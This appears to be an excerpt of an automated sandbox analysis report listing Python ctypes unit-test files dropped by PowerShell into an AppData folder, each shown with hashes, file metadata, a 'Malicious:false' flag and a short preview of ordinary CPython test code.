              SHA-512:5461CF969FB747D918D40CB42B2AABACC59A0287D27308F15F97E4D898EC929659BE10BC69B1F88E1176C3E549A55F467E07A3BFE63996F6C297BE2712F82BEA
              Malicious:false
              Reputation:unknown
              Preview:r'''..This tests the '_objects' attribute of ctypes instances. '_objects'..holds references to objects that must be kept alive as long as the..ctypes instance, to make sure that the memory buffer is valid.....WARNING: The '_objects' attribute is exposed ONLY for debugging ctypes itself,..it MUST NEVER BE MODIFIED!....'_objects' is initialized to a dictionary on first use, before that it..is None.....Here is an array of string pointers:....>>> from ctypes import *..>>> array = (c_char_p * 5)()..>>> print(array._objects)..None..>>>....The memory block stores pointers to strings, and the strings itself..assigned from Python must be kept.....>>> array[4] = b'foo bar'..>>> array._objects..{'4': b'foo bar'}..>>> array[4]..b'foo bar'..>>>....It gets more complicated when the ctypes instance itself is contained..in a 'base' object.....>>> class X(Structure):..... _fields_ = [("x", c_int), ("y", c_int), ("array", c_char_p * 5)].......>>> x = X()..>>> print(x._objects)..None..>>>....The'arr

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_parameters.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11392
              Entropy (8bit):4.811648075811102
              Encrypted:false
              SSDEEP:
              MD5:D037FA8B3539E4E47843E1C03CAC7021
              SHA1:FFC8B41AA0E3E8988CB5C619DF6EF29E607F1288
              SHA-256:C34F5991662A06E2DD6F861ADAD8520327B8F072151B78ADFB20ABAED97BD187
              SHA-512:C52A027CBE620FC87338686918FF38B7111866835502CD802F149380EA2E875AF8551BDA25DD0A1B69ADB32AA191D5651CBBD196F52A01B6CA3E2541F047E11F
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from ctypes.test import need_symbol..import test.support....class SimpleTypesTestCase(unittest.TestCase):.... def setUp(self):.. import ctypes.. try:.. from _ctypes import set_conversion_mode.. except ImportError:.. pass.. else:.. self.prev_conv_mode = set_conversion_mode("ascii", "strict").... def tearDown(self):.. try:.. from _ctypes import set_conversion_mode.. except ImportError:.. pass.. else:.. set_conversion_mode(*self.prev_conv_mode).... def test_subclasses(self):.. from ctypes import c_void_p, c_char_p.. # ctypes 0.9.5 and before did overwrite from_param in SimpleType_new.. class CVOIDP(c_void_p):.. def from_param(cls, value):.. return value * 2.. from_param = classmethod(from_param).... class CCHARP(c_char_p):.. def from_param(cls, value):.. return

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_pep3118.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8916
              Entropy (8bit):4.444463384107097
              Encrypted:false
              SSDEEP:
              MD5:17B5927F85AEC0C21EEA42E1E2700CCD
              SHA1:90462C1408A0907CF55C07F0998BC9384EBB663F
              SHA-256:48A7D17421C3872E4F178BDBFE1B162088E78E6F57AC6E2F2D74562C0DE72CBF
              SHA-512:DEAD65B746F2452B555E5AF5770623CF965DDA1EC4D3A4CDACC8F996B52A9740EE91DC7FB73B3686D6D8134E1ED08BCBE25F48AE7CBF088B554D735F635B6FB8
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from ctypes import *..import re, sys....if sys.byteorder == "little":.. THIS_ENDIAN = "<".. OTHER_ENDIAN = ">"..else:.. THIS_ENDIAN = ">".. OTHER_ENDIAN = "<"....def normalize(format):.. # Remove current endian specifier and white space from a format.. # string.. if format is None:.. return "".. format = format.replace(OTHER_ENDIAN, THIS_ENDIAN).. return re.sub(r"\s", "", format)....class Test(unittest.TestCase):.... def test_native_types(self):.. for tp, fmt, shape, itemtp in native_types:.. ob = tp().. v = memoryview(ob).. try:.. self.assertEqual(normalize(v.format), normalize(fmt)).. if shape:.. self.assertEqual(len(v), shape[0]).. else:.. self.assertEqual(len(v) * sizeof(itemtp), sizeof(ob)).. self.assertEqual(v.itemsize, sizeof(itemtp)).. self.assertEqual(v.shape, shape)..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_pickling.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2299
              Entropy (8bit):4.504116097527198
              Encrypted:false
              SSDEEP:
              MD5:30922E706085ED4839981E9E59DB7D72
              SHA1:CE527A71D17639E0FC6A680D18B043002B9B8201
              SHA-256:135583F9F11BA2B0FAE4BBE4D7A8A75544D36A9B88598BF46B110A949177CB81
              SHA-512:ECF573C8D8557CB0F286571C4E90EC91EADCF5E860261AE8597A9DE91EE9A310F4ADC2B180C9421B966D4CE4A47A54087DF0044DB00B15AF7594063A818E4476
              Malicious:false
              Reputation:unknown
              Preview:import unittest..import pickle..from ctypes import *..import _ctypes_test..dll = CDLL(_ctypes_test.__file__)....class X(Structure):.. _fields_ = [("a", c_int), ("b", c_double)].. init_called = 0.. def __init__(self, *args, **kw):.. X.init_called += 1.. self.x = 42....class Y(X):.. _fields_ = [("str", c_char_p)]....class PickleTest:.. def dumps(self, item):.. return pickle.dumps(item, self.proto).... def loads(self, item):.. return pickle.loads(item).... def test_simple(self):.. for src in [.. c_int(42),.. c_double(3.14),.. ]:.. dst = self.loads(self.dumps(src)).. self.assertEqual(src.__dict__, dst.__dict__).. self.assertEqual(memoryview(src).tobytes(),.. memoryview(dst).tobytes()).... def test_struct(self):.. X.init_called = 0.... x = X().. x.a = 42.. self.assertEqual(X.init_called, 1).... y = sel

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_pointers.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7462
              Entropy (8bit):4.679006448520697
              Encrypted:false
              SSDEEP:
              MD5:CC84C4A5707B83587F6B1244FC0B4734
              SHA1:BA333292FC959A22DD0EDD0F7129DADA68323A77
              SHA-256:BAEBC5584B93EA2DC1C31FF33A3A3D5504DDA33CE1503E8F41E99223CDE86688
              SHA-512:0367F847029130904F8C50AA333E3FE6B77D15F8867BCA48A231E94AC26451DBDF8BBF7A9B32F12D7ABE5DA6D05C3880AC87C1A0FBC310B10C24FBD56D0E5084
              Malicious:false
              Reputation:unknown
              Preview:import unittest, sys....from ctypes import *..import _ctypes_test....ctype_types = [c_byte, c_ubyte, c_short, c_ushort, c_int, c_uint,.. c_long, c_ulong, c_longlong, c_ulonglong, c_double, c_float]..python_types = [int, int, int, int, int, int,.. int, int, int, int, float, float]....class PointersTestCase(unittest.TestCase):.... def test_pointer_crash(self):.... class A(POINTER(c_ulong)):.. pass.... POINTER(c_ulong)(c_ulong(22)).. # Pointer can't set contents: has no _type_.. self.assertRaises(TypeError, A, c_ulong(33)).... def test_pass_pointers(self):.. dll = CDLL(_ctypes_test.__file__).. func = dll._testfunc_p_p.. if sizeof(c_longlong) == sizeof(c_void_p):.. func.restype = c_longlong.. else:.. func.restype = c_long.... i = c_int(12345678)..## func.argtypes = (POINTER(c_int),).. address = func(byref(i)).. self.assertEqual(c_int.from

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_prototypes.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7067
              Entropy (8bit):4.786855217642439
              Encrypted:false
              SSDEEP:
              MD5:95B3D8D27990B70FC6F7C653063093A9
              SHA1:9E0E526C3A8B21E094E8D88CBEE69917543C6C72
              SHA-256:A2CF32DE21C1D96703B5FA105B24D7C048BC8CD7AADCF79543FB7F207D81F261
              SHA-512:3F080496EC015651964881FED1D157F2A821505F9E4185E7EB16B4E2F44936FB121CC7F2D5D44136269182EBE81C49340F49F27FDC0BBA0C16E7BD02A9CDE13D
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..from ctypes.test import need_symbol..import unittest....# IMPORTANT INFO:..#..# Consider this call:..# func.restype = c_char_p..# func(c_char_p("123"))..# It returns..# "123"..#..# WHY IS THIS SO?..#..# argument tuple (c_char_p("123"), ) is destroyed after the function..# func is called, but NOT before the result is actually built...#..# If the arglist would be destroyed BEFORE the result has been built,..# the c_char_p("123") object would already have a zero refcount,..# and the pointer passed to (and returned by) the function would..# probably point to deallocated space...#..# In this case, there would have to be an additional reference to the argument.......import _ctypes_test..testdll = CDLL(_ctypes_test.__file__)....# Return machine address `a` as a (possibly long) non-negative integer...# Starting with Python 2.5, id(anything) is always non-negative, and..# the ctypes addressof() inherits that via PyLong_FromVoidPtr()...def positive_address(a):..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_python_api.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2853
              Entropy (8bit):4.896879091218641
              Encrypted:false
              SSDEEP:
              MD5:7966F0EE6DDEACCD9BA7D19D475BF5D0
              SHA1:DE9F9C62A81F20C448822310E17035534438DA6B
              SHA-256:692EB16CED703D76A2E665FAB7A13D4C6B6D96770D1189FB6BE431AC191867CD
              SHA-512:C371E0CAE0E572A5164E08C77B16681B4AA7F29FFD972DA21A519B21902AC924DD0C629331BC764006E320682F47C99AF5D1BE67AD8A83DAD28A63AF4720CF51
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..import unittest..from test import support....################################################################..# This section should be moved into ctypes\__init__.py, when it's ready.....from _ctypes import PyObj_FromPtr....################################################################....from sys import getrefcount as grc....class PythonAPITestCase(unittest.TestCase):.... def test_PyBytes_FromStringAndSize(self):.. PyBytes_FromStringAndSize = pythonapi.PyBytes_FromStringAndSize.... PyBytes_FromStringAndSize.restype = py_object.. PyBytes_FromStringAndSize.argtypes = c_char_p, c_size_t.... self.assertEqual(PyBytes_FromStringAndSize(b"abcdefghi", 3), b"abc").... @support.refcount_test.. def test_PyString_FromString(self):.. pythonapi.PyBytes_FromString.restype = py_object.. pythonapi.PyBytes_FromString.argtypes = (c_char_p,).... s = b"abc".. refcnt = grc(s).. pyob = pythonapi.PyBytes_FromStrin

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_random_things.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2913
              Entropy (8bit):4.737478028898721
              Encrypted:false
              SSDEEP:
              MD5:B449761697D1195F8B4DA5AC5F8ADC9E
              SHA1:6C12A2A018D84D4C725FDA6A4A6683B71B7E3E0D
              SHA-256:5E99F35D8AC97F7E2118DD5A41867C8EB5815344E6AC4249D098F12736FC8D34
              SHA-512:77FA0413A97D0B86FEC9CA554B547815A38C95643E6B1E76048F7600DB2D3B6B032DD565FBB0DB74421F2B719C86A34E390909DEB2CB9E3C992E2E0E6B3D9745
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..import contextlib..from test import support..import unittest..import sys......def callback_func(arg):.. 42 / arg.. raise ValueError(arg)....@unittest.skipUnless(sys.platform == "win32", 'Windows-specific test')..class call_function_TestCase(unittest.TestCase):.. # _ctypes.call_function is deprecated and private, but used by.. # Gary Bishp's readline module. If we have it, we must test it as well..... def test(self):.. from _ctypes import call_function.. windll.kernel32.LoadLibraryA.restype = c_void_p.. windll.kernel32.GetProcAddress.argtypes = c_void_p, c_char_p.. windll.kernel32.GetProcAddress.restype = c_void_p.... hdll = windll.kernel32.LoadLibraryA(b"kernel32").. funcaddr = windll.kernel32.GetProcAddress(hdll, b"GetModuleHandleA").... self.assertEqual(call_function(funcaddr, (None,)),.. windll.kernel32.GetModuleHandleA(None))....class CallbackTracbackTestCase(unittest.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_refcounts.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3254
              Entropy (8bit):4.52343175691956
              Encrypted:false
              SSDEEP:
              MD5:0144C4B8C2EA873D9BBF121A984EFB4F
              SHA1:BF71C2E74D8112BA8441B1138F8BE4F1176440A2
              SHA-256:0F080474BA755B48DFCF403849ED4C8C9C31DCBE69CFAF579EFD1991165CA9A7
              SHA-512:E1DA655734F042D948E7834599158093B6700C8D5B68402A60597BB19369DDE36EC06B8764FC2EB1563965B6D620094034AC57B0EFD3D2B771A55A8FC397B0D2
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from test import support..import ctypes..import gc....MyCallback = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int)..OtherCallback = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int, ctypes.c_ulonglong)....import _ctypes_test..dll = ctypes.CDLL(_ctypes_test.__file__)....class RefcountTestCase(unittest.TestCase):.... @support.refcount_test.. def test_1(self):.. from sys import getrefcount as grc.... f = dll._testfunc_callback_i_if.. f.restype = ctypes.c_int.. f.argtypes = [ctypes.c_int, MyCallback].... def callback(value):.. #print "called back with", value.. return value.... self.assertEqual(grc(callback), 2).. cb = MyCallback(callback).... self.assertGreater(grc(callback), 2).. result = f(-10, cb).. self.assertEqual(result, -18).. cb = None.... gc.collect().... self.assertEqual(grc(callback), 2)...... @support.refcount_test.. def test_refcount(self):..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_repr.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):871
              Entropy (8bit):4.696633031986632
              Encrypted:false
              SSDEEP:
              MD5:DC164C6303D18BFBA316E23A8CC28A6E
              SHA1:07F443205240365AF25239CD8BF449C623E14BF5
              SHA-256:DB22BA49F0A2F142E60C675D3168CEEA667D9C15BE8DBA5D4156F5A4FDAFC16E
              SHA-512:30452D9612A2D63F545CB4F6E9DF3B3203500C0F236184D1A5085B1933D66AF0A13CC002ADAF121E79C8B9DF11B77DBE578F06D4F9A43497D21DA4443C802DB8
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..import unittest....subclasses = []..for base in [c_byte, c_short, c_int, c_long, c_longlong,.. c_ubyte, c_ushort, c_uint, c_ulong, c_ulonglong,.. c_float, c_double, c_longdouble, c_bool]:.. class X(base):.. pass.. subclasses.append(X)....class X(c_char):.. pass....# This test checks if the __repr__ is correct for subclasses of simple types....class ReprTest(unittest.TestCase):.. def test_numbers(self):.. for typ in subclasses:.. base = typ.__bases__[0].. self.assertTrue(repr(base(42)).startswith(base.__name__)).. self.assertEqual("<X object at", repr(typ(42))[:12]).... def test_char(self):.. self.assertEqual("c_char(b'x')", repr(c_char(b'x'))).. self.assertEqual("<X object at", repr(X(b'x'))[:12])....if __name__ == "__main__":.. unittest.main()..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_returnfuncptrs.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2959
              Entropy (8bit):4.657179289164599
              Encrypted:false
              SSDEEP:
              MD5:DAAE61C1208D19F3EEAF67E808574EFC
              SHA1:B7DF7A61B9DCA5ED956CC101C17BDF25555A119D
              SHA-256:3E54A503AEAACADF9F1D88C8079B17B90FDC304FD0BE1A88945DBAFD4F61454F
              SHA-512:3759E7D62D3819D1E9D79A47E6C127CE0A0AD86C7590D2E30F5726401F3DF1C403FB8BC0B219BDF332DE5BA95E0F70F57B743562FD7EF63832AC5F2E615BA53B
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from ctypes import *....import _ctypes_test....class ReturnFuncPtrTestCase(unittest.TestCase):.... def test_with_prototype(self):.. # The _ctypes_test shared lib/dll exports quite some functions for testing... # The get_strchr function returns a *pointer* to the C strchr function... dll = CDLL(_ctypes_test.__file__).. get_strchr = dll.get_strchr.. get_strchr.restype = CFUNCTYPE(c_char_p, c_char_p, c_char).. strchr = get_strchr().. self.assertEqual(strchr(b"abcdef", b"b"), b"bcdef").. self.assertEqual(strchr(b"abcdef", b"x"), None).. self.assertEqual(strchr(b"abcdef", 98), b"bcdef").. self.assertEqual(strchr(b"abcdef", 107), None).. self.assertRaises(ArgumentError, strchr, b"abcdef", 3.0).. self.assertRaises(TypeError, strchr, b"abcdef").... def test_without_prototype(self):.. dll = CDLL(_ctypes_test.__file__).. get_strchr = dll.get_strchr.. # the default 'c_in

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_simplesubclasses.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1344
              Entropy (8bit):4.601563850662182
              Encrypted:false
              SSDEEP:
              MD5:FB3737B32013A3EA2C0EF4821BE927C0
              SHA1:F9C772B0301B2773A0F1AF902DCFA6BAACEC8F72
              SHA-256:C88982C642D80F89DAE724EE33E651CD699BC55BEFE2125D00BA46E05FEB3A32
              SHA-512:B8B76513E96E02A37FB56D2CCA2FA58BE3B32CBF8E8D953A153846C4AF4B20A7BF3C1E0600B16A5FA1F21BC845B5AB4D962780E1F102FB90645D62ECAF940D62
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from ctypes import *....class MyInt(c_int):.. def __eq__(self, other):.. if type(other) != MyInt:.. return NotImplementedError.. return self.value == other.value....class Test(unittest.TestCase):.... def test_compare(self):.. self.assertEqual(MyInt(3), MyInt(3)).. self.assertNotEqual(MyInt(42), MyInt(43)).... def test_ignore_retval(self):.. # Test if the return value of a callback is ignored.. # if restype is None.. proto = CFUNCTYPE(None).. def func():.. return (1, "abc", None).... cb = proto(func).. self.assertEqual(None, cb())...... def test_int_callback(self):.. args = [].. def func(arg):.. args.append(arg).. return arg.... cb = CFUNCTYPE(None, MyInt)(func).... self.assertEqual(None, cb(42)).. self.assertEqual(type(args[-1]), MyInt).... cb = CFUNCTYPE(c_int, c_int)(func).... self.assertEqual(4

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_sizes.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):837
              Entropy (8bit):4.57222881002833
              Encrypted:false
              SSDEEP:
              MD5:585936C02BCA218C821CB09A0E6907F7
              SHA1:99138D96F09266295DC33DF92EC63F67415D1D99
              SHA-256:B88CF2EF8990F6F4C8B97B205210512502BB97CCCDFDB35752536B891DC7C378
              SHA-512:4D2A48935BF9E70FA789A9E521B50BA252DBEC8929CF49C55672C154BADD9911D2738CB0DDB0D66F034B3D040FBC74522459E707DDC2E0FBB103260DD8EEFED8
              Malicious:false
              Reputation:unknown
              Preview:# Test specifically-sized containers.....from ctypes import *....import unittest......class SizesTestCase(unittest.TestCase):.. def test_8(self):.. self.assertEqual(1, sizeof(c_int8)).. self.assertEqual(1, sizeof(c_uint8)).... def test_16(self):.. self.assertEqual(2, sizeof(c_int16)).. self.assertEqual(2, sizeof(c_uint16)).... def test_32(self):.. self.assertEqual(4, sizeof(c_int32)).. self.assertEqual(4, sizeof(c_uint32)).... def test_64(self):.. self.assertEqual(8, sizeof(c_int64)).. self.assertEqual(8, sizeof(c_uint64)).... def test_size_t(self):.. self.assertEqual(sizeof(c_void_p), sizeof(c_size_t)).... def test_ssize_t(self):.. self.assertEqual(sizeof(c_void_p), sizeof(c_ssize_t))......if __name__ == "__main__":.. unittest.main()..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_slicing.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6192
              Entropy (8bit):4.745104588555518
              Encrypted:false
              SSDEEP:
              MD5:000A4990ABCA74AE3F65106C847D3E7C
              SHA1:B753556E66E068F980A9931C46CFCF12D46994DA
              SHA-256:6AA1B72EB150B272DE1884D2261DDF28A73DF82B142BAC3E8425FCD496F6D31B
              SHA-512:785AEF7D2E3C4249360BA53FC9A8D0B03DC2680C62E4023C84A0A4D570919CF96F782CD6F53B7E1BC8AB195BB714ECF64004A40ECF8B0F5798544157EBE1050C
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from ctypes import *..from ctypes.test import need_symbol....import _ctypes_test....class SlicesTestCase(unittest.TestCase):.. def test_getslice_cint(self):.. a = (c_int * 100)(*range(1100, 1200)).. b = list(range(1100, 1200)).. self.assertEqual(a[0:2], b[0:2]).. self.assertEqual(a[0:2:], b[0:2:]).. self.assertEqual(len(a), len(b)).. self.assertEqual(a[5:7], b[5:7]).. self.assertEqual(a[5:7:], b[5:7:]).. self.assertEqual(a[-1], b[-1]).. self.assertEqual(a[:], b[:]).. self.assertEqual(a[::], b[::]).. self.assertEqual(a[10::-1], b[10::-1]).. self.assertEqual(a[30:20:-1], b[30:20:-1]).. self.assertEqual(a[:12:6], b[:12:6]).. self.assertEqual(a[2:6:4], b[2:6:4]).... a[0:5] = range(5, 10).. self.assertEqual(a[0:5], list(range(5, 10))).. self.assertEqual(a[0:5:], list(range(5, 10))).. self.assertEqual(a[4::-1], list(range(9, 4, -1))).... def tes

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_stringptr.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2675
              Entropy (8bit):4.652599692669734
              Encrypted:false
              SSDEEP:
              MD5:3DBE3E2B362D6DA28819A8BB20838B4C
              SHA1:EA963D5FE7DB8E39A4908DC5F8F623A3C3248EB7
              SHA-256:09C49540BD86CCC2F714C8188A85F9A419B854AFE504E1D0B5450ADB71AAFDD3
              SHA-512:391CC6C51466AAF8A0D43E14C112C701ACC361DCEF572B7F94B5B9904381A16E51AE78214DEA391830FADF5CD52E28CEBA45C6B00090BAB71EFD3C6ADC5AC482
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from test import support..from ctypes import *....import _ctypes_test....lib = CDLL(_ctypes_test.__file__)....class StringPtrTestCase(unittest.TestCase):.... @support.refcount_test.. def test__POINTER_c_char(self):.. class X(Structure):.. _fields_ = [("str", POINTER(c_char))].. x = X().... # NULL pointer access.. self.assertRaises(ValueError, getattr, x.str, "contents").. b = c_buffer(b"Hello, World").. from sys import getrefcount as grc.. self.assertEqual(grc(b), 2).. x.str = b.. self.assertEqual(grc(b), 3).... # POINTER(c_char) and Python string is NOT compatible.. # POINTER(c_char) and c_buffer() is compatible.. for i in range(len(b)):.. self.assertEqual(b[i], x.str[i]).... self.assertRaises(TypeError, setattr, x, "str", "Hello, World").... def test__c_char_p(self):.. class X(Structure):.. _fields_ = [("str", c_char_p)]..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_strings.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7535
              Entropy (8bit):4.8580903375813005
              Encrypted:false
              SSDEEP:
              MD5:6E9442A4F323A8053C2887369858DE62
              SHA1:C0EC31CFC3D0DCE066A62C29541FD8BCB0A5E0FB
              SHA-256:F312AC370A7F1E9229F21BF0729513C7347933320BFB3A702F0D0438B4F773BB
              SHA-512:33F0C6CA2494E2702C5962791B291F72FBB4DFBD758603C55C27157B76920A2EA813605D4AA213F1A132CEF607532FF73BC67C806BD5F84EF33BB95A29F5FB54
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from ctypes import *..from ctypes.test import need_symbol....class StringArrayTestCase(unittest.TestCase):.. def test(self):.. BUF = c_char * 4.... buf = BUF(b"a", b"b", b"c").. self.assertEqual(buf.value, b"abc").. self.assertEqual(buf.raw, b"abc\000").... buf.value = b"ABCD".. self.assertEqual(buf.value, b"ABCD").. self.assertEqual(buf.raw, b"ABCD").... buf.value = b"x".. self.assertEqual(buf.value, b"x").. self.assertEqual(buf.raw, b"x\000CD").... buf[1] = b"Z".. self.assertEqual(buf.value, b"xZCD").. self.assertEqual(buf.raw, b"xZCD").... self.assertRaises(ValueError, setattr, buf, "value", b"aaaaaaaa").. self.assertRaises(TypeError, setattr, buf, "value", 42).... def test_c_buffer_value(self):.. buf = c_buffer(32).... buf.value = b"Hello, World".. self.assertEqual(buf.value, b"Hello, World").... self.assertRaises(TypeError, set

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_struct_fields.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3081
              Entropy (8bit):4.469260302043113
              Encrypted:false
              SSDEEP:
              MD5:FAC90AB620E09149FC2DB75A69CED86C
              SHA1:E7FFE38C76F66735B9639E20F82579F52BBC6EAF
              SHA-256:597B4F9570BDDFFA4F8708BEE830AEAD46795CC88BB9AC6F2604F176B532F9D1
              SHA-512:DF1AE47265334243D0A77F19BE93D3FB37C17727A10C0AA2638A756871E355E4BB8ABA69A6AECC497EF13F6A87A602AEEB1634C1483456983225763E69432B47
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from ctypes import *....class StructFieldsTestCase(unittest.TestCase):.. # Structure/Union classes must get 'finalized' sooner or.. # later, when one of these things happen:.. #.. # 1. _fields_ is set... # 2. An instance is created... # 3. The type is used as field of another Structure/Union... # 4. The type is subclassed.. #.. # When they are finalized, assigning _fields_ is no longer allowed..... def test_1_A(self):.. class X(Structure):.. pass.. self.assertEqual(sizeof(X), 0) # not finalized.. X._fields_ = [] # finalized.. self.assertRaises(AttributeError, setattr, X, "_fields_", []).... def test_1_B(self):.. class X(Structure):.. _fields_ = [] # finalized.. self.assertRaises(AttributeError, setattr, X, "_fields_", []).... def test_2(self):.. class X(Structure):.. pass.. X().. self.assertRaises(AttributeError, setattr, X, "_fields_", []

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_structures.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):28224
              Entropy (8bit):4.53668347437258
              Encrypted:false
              SSDEEP:
              MD5:A6F0A42E68FD33545C395893D71D4FCE
              SHA1:289960881696CAD7F6927A1A9E2529BCC48232D6
              SHA-256:E7C4248F166691D2BD69B00A73CD269E9A4B27B3C8C8608E4ED8EB4C205024EC
              SHA-512:D504B27392BA088A5BEB05AC4E0C31C34026076E1071DFC17BCFF9F47F90B730C7060A76BC0135B7C149AA1628366B182C0175C9DC89476A4EAA2E50C97844C7
              Malicious:false
              Reputation:unknown
              Preview:import platform..import sys..import unittest..from ctypes import *..from ctypes.test import need_symbol..from struct import calcsize..import _ctypes_test..from test import support....# The following definition is meant to be used from time to time to assist..# temporarily disabling tests on specific architectures while investigations..# are in progress, to keep buildbots happy...MACHINE = platform.machine()....class SubclassesTest(unittest.TestCase):.. def test_subclass(self):.. class X(Structure):.. _fields_ = [("a", c_int)].... class Y(X):.. _fields_ = [("b", c_int)].... class Z(X):.. pass.... self.assertEqual(sizeof(X), sizeof(c_int)).. self.assertEqual(sizeof(Y), sizeof(c_int)*2).. self.assertEqual(sizeof(Z), sizeof(c_int)).. self.assertEqual(X._fields_, [("a", c_int)]).. self.assertEqual(Y._fields_, [("b", c_int)]).. self.assertEqual(Z._fields_, [("a", c_int)]).... def test_subcla

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_unaligned_structures.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1183
              Entropy (8bit):4.450969976940341
              Encrypted:false
              SSDEEP:
              MD5:8A12F280CAB7E5B9C954D33C916D89D9
              SHA1:6DE558DDA36947D6788C29D34A6DF6569351590D
              SHA-256:31D3C262E7A6A9C78F1D4C53C1ACFAEFA6D7CDBFB6FAEFA8AB412DC1A8C0A04D
              SHA-512:63E49B38951BBBEAA1E05010DE44782EFDC78DACF1688D0F82A0ED70DE0B98A5AC8E594BBD052C2F19C77CAD2CFC2B7B9F383A02FB78ABF2C9D1FDF1913F3452
              Malicious:false
              Reputation:unknown
              Preview:import sys, unittest..from ctypes import *....structures = []..byteswapped_structures = []......if sys.byteorder == "little":.. SwappedStructure = BigEndianStructure..else:.. SwappedStructure = LittleEndianStructure....for typ in [c_short, c_int, c_long, c_longlong,.. c_float, c_double,.. c_ushort, c_uint, c_ulong, c_ulonglong]:.. class X(Structure):.. _pack_ = 1.. _fields_ = [("pad", c_byte),.. ("value", typ)].. class Y(SwappedStructure):.. _pack_ = 1.. _fields_ = [("pad", c_byte),.. ("value", typ)].. structures.append(X).. byteswapped_structures.append(Y)....class TestStructures(unittest.TestCase):.. def test_native(self):.. for typ in structures:.. self.assertEqual(typ.value.offset, 1).. o = typ().. o.value = 4.. self.assertEqual(o.value, 4).... def test_swapped(self):.. for typ in byteswapped_structures:..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_unicode.py

              Download File
